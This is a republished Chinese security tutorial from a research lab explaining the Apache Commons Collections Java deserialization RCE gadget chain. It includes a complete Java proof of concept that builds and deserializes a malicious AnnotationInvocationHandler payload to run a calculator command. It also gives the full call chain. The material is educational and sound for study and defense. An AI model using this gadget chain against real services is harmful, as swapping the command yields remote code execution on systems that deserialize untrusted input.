Java Web安全 || Java基础 · Apache Commons Collections反序列化漏洞
2020-05-07 13:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏

点击上方“凌天实验室”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享

【历史】已连载更新全部内容:【菜单栏】-【JAVA SEC】

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。本节将逐步详解Collections反序列化攻击链(仅以TransformedMap调用链为示例)最终实现反序列化RCE

InvokerTransformer

Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了:java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform,主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

InvokerTransformer类的transform方法:

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 获取输入类的类对象
Class cls = input.getClass();

// 通过输入的方法名和方法参数,获取指定的反射方法对象
Method method = cls.getMethod(iMethodName, iParamTypes);

// 反射调用指定的方法并返回方法调用结果
return method.invoke(input, iArgs);

} catch (Exception ex) {
// 省去异常处理部分代码
}
}

使用InvokerTransformer实现调用本地命令执行方法:

public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "open -a Calculator.app";

// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);

// 传入Runtime实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}

上述实例演示了通过InvokerTransformer的反射机制来调用java.lang.Runtime来实现命令执行,但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的。

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

ChainedTransformer.java:

public class ChainedTransformer implements Transformer, Serializable {

/** The transformers to call in turn */
private final Transformer[] iTransformers;

// 省去多余的方法和变量

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

}

使用ChainedTransformer实现调用本地命令执行方法:

public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "open -a Calculator.app";

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 执行对象转换操作
transformedChain.transform(null);
}

通过构建ChainedTransformer调用链我们最终会使用InvokerTransformer来完成反射调用Runtime.getRuntime().exec(cmd)的逻辑。

利用InvokerTransformer执行本地命令

上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:

  1. 如何传入调用链。

  2. 如何调用transform方法执行本地命令。

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 省去实现代码
}

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

使用TransformedMap类的setValue触发transform示例:

public static void main(String[] args) {
String cmd = "open -a Calculator.app";

// 此处省去创建transformers过程,参考上面的demo

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 创建Map对象
Map map = new HashMap();
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// transformedMap.put("v1", "v2");// 执行put也会触发transform

// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;

// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}

System.out.println(transformedMap);
}

上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

AnnotationInvocationHandler代码片段:

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 省去代码部分
}

// Java动态代理的invoke方法
public Object invoke(Object var1, Method var2, Object[] var3) {
// 省去代码部分
}

private void readObject(ObjectInputStream var1) {
// 省去代码部分
}

}

readObject方法:

上图中的第352行中的memberValuesAnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。

创建AnnotationInvocationHandler对象:

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

// 创建Map对象
Map map = new HashMap();

// map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
// AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
// 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
// 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。

完整的攻击示例Demo:

package com.anbai.sec.serializes;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

/**
* Creator: yz
* Date: 2019/12/16
*/

public class CommonsCollectionsTest {

public static void main(String[] args) {
String cmd = "open -a Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 创建Map对象
Map map = new HashMap();
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// // 遍历Map元素,并调用setValue方法
// for (Object obj : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) obj;
//
// // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
// entry.setValue("test");
// }
//
//// transformedMap.put("v1", "v2");// 执行put也会触发transform

try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();

// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);

// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();

// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();

// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);

// 模拟远程的反序列化过程
in.readObject();

// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}

}

反序列化RCE调用链如下:

ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()

Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式,ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式:LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable

**如果您在阅读文章的时候发现任何问题都可以通过Vchat与我们联系,也欢迎大家加入javasec微信群一起交流。

Vchat获取方式:对话框发送“javasec”

凌天
实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU5Mzc4MTIyNw==&mid=2247485223&idx=1&sn=a6ae0f3db3312fcbe20d0b509c6a2e97&chksm=fe0a0fa3c97d86b57b9aec7211b0ae5350104269545da3ce21894fa25dfe2f6b5b20fa98846c#rd
如有侵权请联系:admin#unsafe.sh